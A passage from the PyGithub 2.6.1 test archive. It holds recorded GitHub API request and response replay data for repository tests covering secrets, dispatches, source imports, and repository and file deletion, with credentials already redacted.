mo-repo-1/issues/comments{/number}","contents_url":"https://api.github.com/repos/demoorg/demo-repo-1/contents/{+path}","compare_url":"https://api.github.com/repos/demoorg/demo-repo-1/compare/{base}...{head}","merges_url":"https://api.github.com/repos/demoorg/demo-repo-1/merges","archive_url":"https://api.github.com/repos/demoorg/demo-repo-1/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/demoorg/demo-repo-1/downloads","issues_url":"https://api.github.com/repos/demoorg/demo-repo-1/issues{/number}","pulls_url":"https://api.github.com/repos/demoorg/demo-repo-1/pulls{/number}","milestones_url":"https://api.github.com/repos/demoorg/demo-repo-1/milestones{/number}","notifications_url":"https://api.github.com/repos/demoorg/demo-repo-1/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/demoorg/demo-repo-1/labels{/name}","releases_url":"https://api.github.com/repos/demoorg/demo-repo-1/releases{/id}","deployments_url":"https://api.github.com/repos/demoorg/demo-repo-1/deployments","created_at":"2024-01-17T20:15:59Z","updated_at":"2024-01-17T20:16:00Z","pushed_at":"2024-01-17T20:16:00Z","git_url":"git://github.com/demoorg/demo-repo-1.git","ssh_url":"git@github.com:demoorg/demo-repo-1.git","clone_url":"https://github.com/demoorg/demo-repo-1.git","svn_url":"https://github.com/demoorg/demo-repo-1","homepage":null,"size":5,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","custom_properties":{},"organization":{"login":"demoorg","id":156956893,"node_id":"O_kgDOCVr43Q","avatar_url":"https://avatars.githubusercontent.com/u/156956893?v=4","gravatar_id":"","url":"https://api.github.com/users/demoorg","html_url":"https://github.com/demoorg","followers_url":"https://api.github.com/users/demoorg/followers","following_url":"https://api.github.com/users/demoorg/following{/other_user}","gists_url":"https://api.github.com/users/demoorg/gists{/gist_id}","starred_url":"https://api.github.com/users/demoorg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/demoorg/subscriptions","organizations_url":"https://api.github.com/users/demoorg/orgs","repos_url":"https://api.github.com/users/demoorg/repos","events_url":"https://api.github.com/users/demoorg/events{/privacy}","received_events_url":"https://api.github.com/users/demoorg/received_events","type":"Organization","site_admin":false},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":0,"subscribers_count":0} https GET api.github.com None /repos/demoorg/demo-repo-1/dependabot/secrets/public-key {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Feb 2024 23:17:32 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f426af681aa5a6686aba8e402f462cdfaf20f45bf4386951168a3a7df8c1d8d8"'), ('X-OAuth-Scopes', 'admin:org, admin:public_key, repo, user'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2024-03-02 22:39:38 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4904'), ('X-RateLimit-Reset', '1706829971'), ('X-RateLimit-Used', '96'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED52:45DB9:DFC4616:E203AF7:65BC268C')] {"key_id":"3380217566468950943","key":"zMhrH6T/7s0pnAFGSEVKt8nH5XTuCdTIhNcSBgdeeyQ="} https PUT api.github.com None /repos/demoorg/demo-repo-1/dependabot/secrets/secret_name {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"key_id": "3380217566468950943", "encrypted_value": "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b"} 201 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Feb 2024 23:17:32 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"ef7d1a03b3332b83aecd008a006821ad3613d37a6ec742a794010bc2d93610cf"'), ('X-OAuth-Scopes', 'admin:org, admin:public_key, repo, user'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2024-03-02 22:39:38 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4903'), ('X-RateLimit-Reset', '1706829971'), ('X-RateLimit-Used', '97'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'ED53:2EE190:B6710DC:B85CE2C:65BC268C')] {} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateRepositoryDispatch.txt0000644000175100001660000000501214756101563026756 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/dispatches {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"event_type": "type", "client_payload": {"foo": "bar"}} 204 [('Server', 'GitHub.com'), ('Date', 'Fri, 17 Apr 2020 00:12:32 GMT'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4985'), ('X-RateLimit-Reset', '1587085387'), ('X-OAuth-Scopes', 'read:org, repo, user'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'C28E:5F24:21A272:43ED41:5E98F470')] https POST api.github.com None /repos/PyGithub/PyGithub/dispatches {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"event_type": "type"} 204 [('Date', 'Fri, 17 Apr 2020 00:12:33 GMT'), ('Server', 'GitHub.com'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4984'), ('X-RateLimit-Reset', '1587085388'), ('X-OAuth-Scopes', 'read:org, repo, user'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'C290:52DA:50234:B404B:5E98F470')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testCreateSourceImport.txt0000644000175100001660000002555114756101563025564 0ustar00runnerdockerhttps GET api.github.com None /users/brix4dayz {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} null 200 [('content-length', '1143'), ('x-runtime-rack', '0.035038'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"5f005737679e3703efce7e706ad4fe72"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'D3C7:2058:1F1200E:4D1FC03:5A374B66'), ('last-modified', 'Mon, 18 Dec 2017 01:31:56 GMT'), ('date', 'Mon, 18 Dec 2017 05:00:22 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1513576416')] {"login":"brix4dayz","id":11233384,"avatar_url":"https://avatars0.githubusercontent.com/u/11233384?v=4","gravatar_id":"","url":"https://api.github.com/users/brix4dayz","html_url":"https://github.com/brix4dayz","followers_url":"https://api.github.com/users/brix4dayz/followers","following_url":"https://api.github.com/users/brix4dayz/following{/other_user}","gists_url":"https://api.github.com/users/brix4dayz/gists{/gist_id}","starred_url":"https://api.github.com/users/brix4dayz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/brix4dayz/subscriptions","organizations_url":"https://api.github.com/users/brix4dayz/orgs","repos_url":"https://api.github.com/users/brix4dayz/repos","events_url":"https://api.github.com/users/brix4dayz/events{/privacy}","received_events_url":"https://api.github.com/users/brix4dayz/received_events","type":"User","site_admin":false,"name":"Hayden Fuss","company":"Bandwidth.com","blog":"","location":"Raleigh, NC","email":null,"hireable":null,"bio":null,"public_repos":9,"public_gists":0,"followers":4,"following":5,"created_at":"2015-02-27T17:32:06Z","updated_at":"2017-12-18T01:31:56Z"} https GET api.github.com None /repos/brix4dayz/source-import-test {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} null 200 [('content-length', '5271'), ('x-runtime-rack', '0.043773'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', 'repo'), ('etag', '"5e0980fc96c1a102fba789b8d834a7fa"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'D3C8:2058:1F12026:4D1FC44:5A374B67'), ('last-modified', 'Mon, 18 Dec 2017 05:00:03 GMT'), ('date', 'Mon, 18 Dec 2017 05:00:23 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1513576416')] {"id":114597626,"name":"source-import-test","full_name":"brix4dayz/source-import-test","owner":{"login":"brix4dayz","id":11233384,"avatar_url":"https://avatars0.githubusercontent.com/u/11233384?v=4","gravatar_id":"","url":"https://api.github.com/users/brix4dayz","html_url":"https://github.com/brix4dayz","followers_url":"https://api.github.com/users/brix4dayz/followers","following_url":"https://api.github.com/users/brix4dayz/following{/other_user}","gists_url":"https://api.github.com/users/brix4dayz/gists{/gist_id}","starred_url":"https://api.github.com/users/brix4dayz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/brix4dayz/subscriptions","organizations_url":"https://api.github.com/users/brix4dayz/orgs","repos_url":"https://api.github.com/users/brix4dayz/repos","events_url":"https://api.github.com/users/brix4dayz/events{/privacy}","received_events_url":"https://api.github.com/users/brix4dayz/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/brix4dayz/source-import-test","description":null,"fork":false,"url":"https://api.github.com/repos/brix4dayz/source-import-test","forks_url":"https://api.github.com/repos/brix4dayz/source-import-test/forks","keys_url":"https://api.github.com/repos/brix4dayz/source-import-test/keys{/key_id}","collaborators_url":"https://api.github.com/repos/brix4dayz/source-import-test/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/brix4dayz/source-import-test/teams","hooks_url":"https://api.github.com/repos/brix4dayz/source-import-test/hooks","issue_events_url":"https://api.github.com/repos/brix4dayz/source-import-test/issues/events{/number}","events_url":"https://api.github.com/repos/brix4dayz/source-import-test/events","assignees_url":"https://api.github.com/repos/brix4dayz/source-import-test/assignees{/user}","branches_url":"https://api.github.com/repos/brix4dayz/source-import-test/branches{/branch}","tags_url":"https://api.github.com/repos/brix4dayz/source-import-test/tags","blobs_url":"https://api.github.com/repos/brix4dayz/source-import-test/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/brix4dayz/source-import-test/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/brix4dayz/source-import-test/git/refs{/sha}","trees_url":"https://api.github.com/repos/brix4dayz/source-import-test/git/trees{/sha}","statuses_url":"https://api.github.com/repos/brix4dayz/source-import-test/statuses/{sha}","languages_url":"https://api.github.com/repos/brix4dayz/source-import-test/languages","stargazers_url":"https://api.github.com/repos/brix4dayz/source-import-test/stargazers","contributors_url":"https://api.github.com/repos/brix4dayz/source-import-test/contributors","subscribers_url":"https://api.github.com/repos/brix4dayz/source-import-test/subscribers","subscription_url":"https://api.github.com/repos/brix4dayz/source-import-test/subscription","commits_url":"https://api.github.com/repos/brix4dayz/source-import-test/commits{/sha}","git_commits_url":"https://api.github.com/repos/brix4dayz/source-import-test/git/commits{/sha}","comments_url":"https://api.github.com/repos/brix4dayz/source-import-test/comments{/number}","issue_comment_url":"https://api.github.com/repos/brix4dayz/source-import-test/issues/comments{/number}","contents_url":"https://api.github.com/repos/brix4dayz/source-import-test/contents/{+path}","compare_url":"https://api.github.com/repos/brix4dayz/source-import-test/compare/{base}...{head}","merges_url":"https://api.github.com/repos/brix4dayz/source-import-test/merges","archive_url":"https://api.github.com/repos/brix4dayz/source-import-test/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/brix4dayz/source-import-test/downloads","issues_url":"https://api.github.com/repos/brix4dayz/source-import-test/issues{/number}","pulls_url":"https://api.github.com/repos/brix4dayz/source-import-test/pulls{/number}","milestones_url":"https://api.github.com/repos/brix4dayz/source-import-test/milestones{/number}","notifications_url":"https://api.github.com/repos/brix4dayz/source-import-test/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/brix4dayz/source-import-test/labels{/name}","releases_url":"https://api.github.com/repos/brix4dayz/source-import-test/releases{/id}","deployments_url":"https://api.github.com/repos/brix4dayz/source-import-test/deployments","created_at":"2017-12-18T05:00:03Z","updated_at":"2017-12-18T05:00:03Z","pushed_at":"2017-12-18T05:00:03Z","git_url":"git://github.com/brix4dayz/source-import-test.git","ssh_url":"git@github.com:brix4dayz/source-import-test.git","clone_url":"https://github.com/brix4dayz/source-import-test.git","svn_url":"https://github.com/brix4dayz/source-import-test","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"network_count":0,"subscribers_count":1} https PUT api.github.com None /repos/brix4dayz/source-import-test/import {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'Accept': 'application/vnd.github.barred-rock-preview', 'User-Agent': 'PyGithub/Python'} {"vcs": "mercurial", "vcs_url": "https://bitbucket.org/hfuss/source-import-test"} 201 [('content-length', '517'), ('x-runtime-rack', '0.115876'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"57e00a16a64505bd7f87786614faefcc"'), ('location', 'https://api.github.com/repos/brix4dayz/source-import-test/import'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '201 Created'), ('x-ratelimit-remaining', '99'), ('x-github-media-type', 'github.barred-rock-preview'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'D3C9:204B:1540BC5:2C515EA:5A374B67'), ('date', 'Mon, 18 Dec 2017 05:00:23 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '100'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1513573283')] {"vcs":"mercurial","use_lfs":"undecided","vcs_url":"https://bitbucket.org/hfuss/source-import-test","status":"importing","commit_count":null,"status_text":"Importing...","authors_count":0,"import_percent":null,"url":"https://api.github.com/repos/brix4dayz/source-import-test/import","html_url":"https://github.com/brix4dayz/source-import-test/import","authors_url":"https://api.github.com/repos/brix4dayz/source-import-test/import/authors","repository_url":"https://api.github.com/repos/brix4dayz/source-import-test"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testDelete.txt0000644000175100001660000000717214756101563023206 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('x-ratelimit-limit', '5000'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '806'), ('server', 'nginx/1.0.13'), ('last-modified', 'Tue, 14 Aug 2012 18:41:03 GMT'), ('connection', 'keep-alive'), ('etag', '"a16173bc016f1c15e3e635051c76c388"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Thu, 23 Aug 2012 07:30:50 GMT'), ('content-type', 'application/json; charset=utf-8')] {"private_gists":5,"plan":{"private_repos":5,"space":614400,"collaborators":1,"name":"micro"},"type":"User","public_repos":12,"followers":13,"following":28,"location":"Paris, France","hireable":false,"disk_usage":14544,"created_at":"2010-07-09T06:10:06Z","login":"jacquev6","bio":"","blog":"http://vincent-jacques.net","total_private_repos":5,"collaborators":0,"email":"vincent@vincent-jacques.net","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","name":"Vincent Jacques","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","owned_private_repos":5,"public_gists":3,"id":327146,"html_url":"https://github.com/jacquev6","company":"Criteo"} https GET api.github.com None /repos/jacquev6/TestPyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('x-ratelimit-limit', '5000'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '1176'), ('server', 'nginx/1.0.13'), ('last-modified', 'Thu, 23 Aug 2012 07:30:19 GMT'), ('connection', 'keep-alive'), ('etag', '"b997e723dda2e6baea587ef9b5b94e73"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Thu, 23 Aug 2012 07:30:51 GMT'), ('content-type', 'application/json; charset=utf-8')] {"clone_url":"https://github.com/jacquev6/TestPyGithub.git","git_url":"git://github.com/jacquev6/TestPyGithub.git","full_name":"jacquev6/TestPyGithub","open_issues":0,"has_issues":true,"owner":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146},"watchers_count":0,"homepage":null,"ssh_url":"git@github.com:jacquev6/TestPyGithub.git","master_branch":"master","open_issues_count":0,"language":null,"created_at":"2012-08-23T07:30:19Z","permissions":{"admin":true,"push":true,"pull":true},"mirror_url":null,"has_downloads":true,"description":null,"pushed_at":"2012-08-23T07:30:19Z","forks":0,"forks_count":0,"size":0,"fork":false,"svn_url":"https://github.com/jacquev6/TestPyGithub","updated_at":"2012-08-23T07:30:19Z","name":"TestPyGithub","url":"https://api.github.com/repos/jacquev6/TestPyGithub","network_count":0,"has_wiki":true,"private":false,"id":5520886,"watchers":0,"html_url":"https://github.com/jacquev6/TestPyGithub"} https DELETE api.github.com None /repos/jacquev6/TestPyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4985'), ('x-content-type-options', 'nosniff'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('cache-control', ''), ('date', 'Thu, 23 Aug 2012 07:30:52 GMT')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testDeleteFile.txt0000644000175100001660000000613414756101563024003 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/contents/doc/testCreateUpdateDeleteFile.md {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '16'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4997'), ('server', 'nginx/1.0.13'), ('last-modified', 'Wed, 05 Sep 2012 17:54:40 GMT'), ('connection', 'keep-alive'), ('etag', '"71786feb5f476112c5a8aa894ee7ca6c"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Sat, 08 Sep 2012 10:43:48 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"file","sha":"5628799a7d517a4aaa0c1a7004d07569cd154df0","path":"doc/testCreateUpdateDeleteFile.md","encoding":"base64","_links":{"self":"https://api.github.com/repos/PyGithub/PyGithub/contents/doc/testCreateUpdateDeleteFile.md","html":"https://github.com/PyGithub/PyGithub/blob/master/doc/testCreateUpdateDeleteFile.md","git":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/5628799a7d517a4aaa0c1a7004d07569cd154df0"},"content":"SGVsbG8gd29ybGQ=","size":16,"name":"doc/testCreateUpdateDeleteFile.md"} https DELETE api.github.com None /repos/PyGithub/PyGithub/contents/doc/testCreateUpdateDeleteFile.md {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"branch": "master", "message": "Delete file for testDeleteFile", "sha": "5628799a7d517a4aaa0c1a7004d07569cd154df0"} 200 [('status', '200 OK'), ('content-length', '16'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4997'), ('server', 'nginx/1.0.13'), ('last-modified', 'Wed, 05 Sep 2012 17:54:40 GMT'), ('connection', 'keep-alive'), ('etag', '"71786feb5f476112c5a8aa894ee7ca6c"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Sat, 08 Sep 2012 10:43:48 GMT'), ('content-type', 'application/json; charset=utf-8')] {"content": null, "commit": {"committer": {"date": "2014-11-07T22:01:45Z", "name": "Scott Chacon", "email": "schacon@gmail.com"}, "author": {"date": "2014-11-07T22:01:45Z", "name": "Scott Chacon", "email": "schacon@gmail.com"}, "url": "https://api.github.com/repos/PyGithub/PyGithub/git/commits/7638417db6d59f3c431d3e1f261cc637155684cd", "tree": {"url": "https://api.github.com/repos/PyGithub/PyGithub/git/trees/691272480426f78a0138979dd3ce63b77f706feb", "sha": "691272480426f78a0138979dd3ce63b77f706feb"}, "html_url": "https://github.com/PyGithub/PyGithub/git/commit/7638417db6d59f3c431d3e1f261cc637155684cd", "sha": "7638417db6d59f3c431d3e1f261cc637155684cd", "parents": [{"url": "https://api.github.com/repos/PyGithub/PyGithub/git/commits/1acc419d4d6a9ce985db7be48c6349a0475975b5", "sha": "1acc419d4d6a9ce985db7be48c6349a0475975b5", "html_url": "https://github.com/PyGithub/PyGithub/git/commit/1acc419d4d6a9ce985db7be48c6349a0475975b5"}], "message": "Delete file for testDeleteFile"}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testDeleteSecret.txt0000644000175100001660000000262214756101563024347 0ustar00runnerdockerhttps DELETE api.github.com None /repos/PyGithub/PyGithub/actions/secrets/secret_name {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Mon, 08 Mar 2021 05:16:00 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4992'), ('X-RateLimit-Reset', '1615184024'), ('X-RateLimit-Used', '8'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, 